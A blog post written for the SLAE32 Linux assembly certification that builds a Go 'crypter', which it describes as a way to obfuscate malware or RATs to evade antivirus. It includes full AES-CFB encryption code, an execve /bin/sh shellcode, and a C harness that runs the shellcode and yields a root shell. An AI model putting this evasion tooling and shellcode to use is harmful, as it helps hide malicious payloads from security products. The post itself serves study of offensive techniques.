Posts SLAE32 - Assignment#7 [Custom Cryptor]
Post
Cancel

SLAE32 - Assignment#7 [Custom Cryptor]

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-1542

SLAE32 Assignemt#7 Github

Assignement #7

  • Create a custom crypter like the one shown in the “crypters” video
  • Free to use any existing encrpytion schema
  • Can use any programming language

What is Crypter?

A crypter is a software that can encrypt, obfuscate and manipulate malware or a RAT (Remote Access Tool) tool to potentially bypass security products such as antiviruses.

Encryption Process

For creating a simple crpyter, I will be using the following process:

  • Generate a key with random characters & seed (32 characters hard-coded as of now)
  • AES Encrypt #1 - Initialize the state array with the block data using the key
  • AES Encrypt #2 - Generate IV (Initialization Vector) using block size + length of shellcode
  • AES Encrypt #3 - Run the encrpytion process using the block and IV
  • Base64 encode the results

Decryption Process

  • Base64 decode the results
  • AES Decrypt #1 - Initialize the state array with the block data using the key
  • AES Decrypt #2 - Check if length IV is equal to the block size
  • AES Decrypt #3 - Run the decryption process using the block and IV
  • Return the decrypted string

I chose Go programming language to create the crypter.

Generate Key Code

1
2
3
4
5
6
7
8
9
10
// Random Key Generator (128 bit)
var chars = []rune("0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz")

func randKeyGen(n int) string {
	charSet := make([]rune, n)
	for i := range charSet {
		charSet[i] = chars[math.Intn(len(chars))]
	}
	return string(charSet)
}

Encryption Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// Encrpyt: Original Text --> Add IV --> Encrypt with Key --> Base64 Encode
func Encrypt(key []byte, text []byte) string {
	block, err := aes.NewCipher(key)
	if err != nil {
		panic(err)
	}

	// Creating IV
	ciphertext := make([]byte, aes.BlockSize+len(text))
	iv := ciphertext[:aes.BlockSize]
	if _, err := io.ReadFull(rand.Reader, iv); err != nil {
		panic(err)
	}

	// Encrpytion Process
	stream := cipher.NewCFBEncrypter(block, iv)
	stream.XORKeyStream(ciphertext[aes.BlockSize:], text)

	// Encode to Base64
	return base64.URLEncoding.EncodeToString(ciphertext)
}

Decryption Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// Decrypt: Encrypted Text --> Base64 Decode --> Decrypt with IV and Key
func Decrypt(key []byte, encryptedText string) string {
	ciphertext, _ := base64.URLEncoding.DecodeString(encryptedText)

	block, err := aes.NewCipher(key)
	if err != nil {
		panic(err)
	}

	// Using IV
	iv := ciphertext[:aes.BlockSize]

	// Checking BlockSize = IV
	if len(iv) != aes.BlockSize {
		panic("[Error] Ciphertext is too short!")
	}

	ciphertext = ciphertext[aes.BlockSize:]

	// Decryption Process
	stream := cipher.NewCFBDecrypter(block, iv)
	stream.XORKeyStream(ciphertext, ciphertext)

	return string(ciphertext)
}

I put everything together and created the final code: goBase64Crypter.go:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
package main

import (
	"crypto/aes"
	"crypto/cipher"
	"crypto/rand"
	"encoding/base64"
	"fmt"
	"io"
	math "math/rand"
	"os"
	"time"
)

// Random Key Generator (128 bit)
var chars = []rune("0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz")

func randKeyGen(n int) string {
	charSet := make([]rune, n)
	for i := range charSet {
		charSet[i] = chars[math.Intn(len(chars))]
	}
	return string(charSet)
}

// Encrpyt: Original Text --> Add IV --> Encrypt with Key --> Base64 Encode
func Encrypt(key []byte, text []byte) string {
	block, err := aes.NewCipher(key)
	if err != nil {
		panic(err)
	}

	// Creating IV
	ciphertext := make([]byte, aes.BlockSize+len(text))
	iv := ciphertext[:aes.BlockSize]
	if _, err := io.ReadFull(rand.Reader, iv); err != nil {
		panic(err)
	}

	// Encrpytion Process
	stream := cipher.NewCFBEncrypter(block, iv)
	stream.XORKeyStream(ciphertext[aes.BlockSize:], text)

	// Encode to Base64
	return base64.URLEncoding.EncodeToString(ciphertext)
}

// Decrypt: Encrypted Text --> Base64 Decode --> Decrypt with IV and Key
func Decrypt(key []byte, encryptedText string) string {
	ciphertext, _ := base64.URLEncoding.DecodeString(encryptedText)

	block, err := aes.NewCipher(key)
	if err != nil {
		panic(err)
	}

	// Using IV
	iv := ciphertext[:aes.BlockSize]

	// Checking BlockSize = IV
	if len(iv) != aes.BlockSize {
		panic("[Error] Ciphertext is too short!")
	}

	ciphertext = ciphertext[aes.BlockSize:]

	// Decryption Process
	stream := cipher.NewCFBDecrypter(block, iv)
	stream.XORKeyStream(ciphertext, ciphertext)

	return string(ciphertext)
}

func main() {

	if len(os.Args) != 2 {
		fmt.Println("[INFO] Usage:", os.Args[0], "<Shellcode>")
		return
	}

	// Getting Original Shellcode as an Argument
	originalText := string(os.Args[1])
	fmt.Printf("[INFO] Original Text\t: %v\n", originalText)

	// Creating a Random Seed
	math.Seed(time.Now().UnixNano())

	// Generating a Random Key
	key := []byte(randKeyGen(32)) //Key Size: 16, 32
	fmt.Printf("[INFO] Random Key\t: %v\n", string(key))

	// Encrypt value to base64
	encryptedText := Encrypt(key, []byte(originalText))
	fmt.Printf("[INFO] Encrypted Base64\t: %v\n", encryptedText)

	// Decrypt base64 to original value
	text := Decrypt(key, encryptedText)
	fmt.Printf("[INFO] Decrypted Text\t: %v\n", text)
}

Final Testing

I tested the crypter with a string “bigb0ss”. It worked as expected to encrypt and decrypt the string, and the key was randomly generated as well.

1
2
3
4
5
6
7
8
9
10
11
# go run goBase64Crypter.go "bigb0ss"
[INFO] Original Text    : bigb0ss
[INFO] Random Key       : Fnf4Ml3Z6MhP11qMQ0zehdp9dEj5j5Pn
[INFO] Encrypted Base64 : JpbQCdofLYb7aceWzkb2i0xNakO8aAg=
[INFO] Decrypted Text   : bigb0ss

# go run goBase64Crypter.go "bigb0ss"
[INFO] Original Text    : bigb0ss
[INFO] Random Key       : CQroxMZRxOZlXWlU5v6yQdpzz8ibYUhp
[INFO] Encrypted Base64 : PJHvYqoEK1K5thBrPMIRqndRI8kH0f4=
[INFO] Decrypted Text   : bigb0ss

I used the /bin/sh shellcode to run the crypter again.

1
2
3
4
5
# python compilerX86.py -f bin-sh

[+] Assemble: bin-sh.nasm
[+] Linking: bin-sh.o
[+] Shellcode: "\xeb\x1a\x5e\x31\xdb\x88\x5e\x07\x89\x76\x08\x89\x5e\x0c\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\x31\xc0\xb0\x0b\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x41\x42\x42\x42\x42\x43\x43\x43\x43"
1
2
3
4
5
# go run goBase64Crypter.go "\xeb\x1a\x5e\x31\xdb\x88\x5e\x07\x89\x76\x08\x89\x5e\x0c\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\x31\xc0\xb0\x0b\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x41\x42\x42\x42\x42\x43\x43\x43\x43"
[INFO] Original Text    : \xeb\x1a\x5e\x31\xdb\x88\x5e\x07\x89\x76\x08\x89\x5e\x0c\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\x31\xc0\xb0\x0b\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x41\x42\x42\x42\x42\x43\x43\x43\x43
[INFO] Random Key       : XhVkv3RK89cTGx63Cv7YPkcwdA3v1qWE
[INFO] Encrypted Base64 : blSC0D5MO-tFgq9afP-R6Jb5lcQNIo3Z4LTeSyl3tJALs_Mq_W8IYDlkZ3MOro-YjknSad6HzLEmqlQLgRkdPQSrCTGGq_NcWoPGbvCqIpey1wEqfiPnxwiljlfGTxBzXXV-UQzkiSqDidgYwVaND2qCE66_vHuMW7Chq_CP62BPjGvOozVoz_uTUs9POF0jW6Y2qXY9e_Ykw5wvly_aKPOVxWPIPdCctn3uFF7XXoUD50KmEa-VLxadgG2fx02ky2iuKvZF0AvABxtOCL1pQio1NDM=
[INFO] Decrypted Text   : \xeb\x1a\x5e\x31\xdb\x88\x5e\x07\x89\x76\x08\x89\x5e\x0c\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\x31\xc0\xb0\x0b\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x41\x42\x42\x42\x42\x43\x43\x43\x43

I used the following C code to run the decrypted shellcode:

1
2
3
4
5
6
7
8
9
10
11
#include<stdio.h>
#include<string.h>

unsigned char code[] = \ 
"\xeb\x1a\x5e\x31\xdb\x88\x5e\x07\x89\x76\x08\x89\x5e\x0c\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\x31\xc0\xb0\x0b\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x41\x42\x42\x42\x42\x43\x43\x43\x43";
main()
{
printf("Shellcode Length:  %d", strlen(code));
	int (*ret)() = (int(*)())code;
	ret();
}

Compile and run it:

1
2
3
4
5
6
# gcc -fno-stack-protector -z execstack -o shellcode shellcode.c -w

# ./shellcode 
# id
uid=0(root) gid=0(root) groups=0(root)
# exit

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-1542

SLAE32 Assignemt#7 Github

This post is licensed under CC BY 4.0 by the author.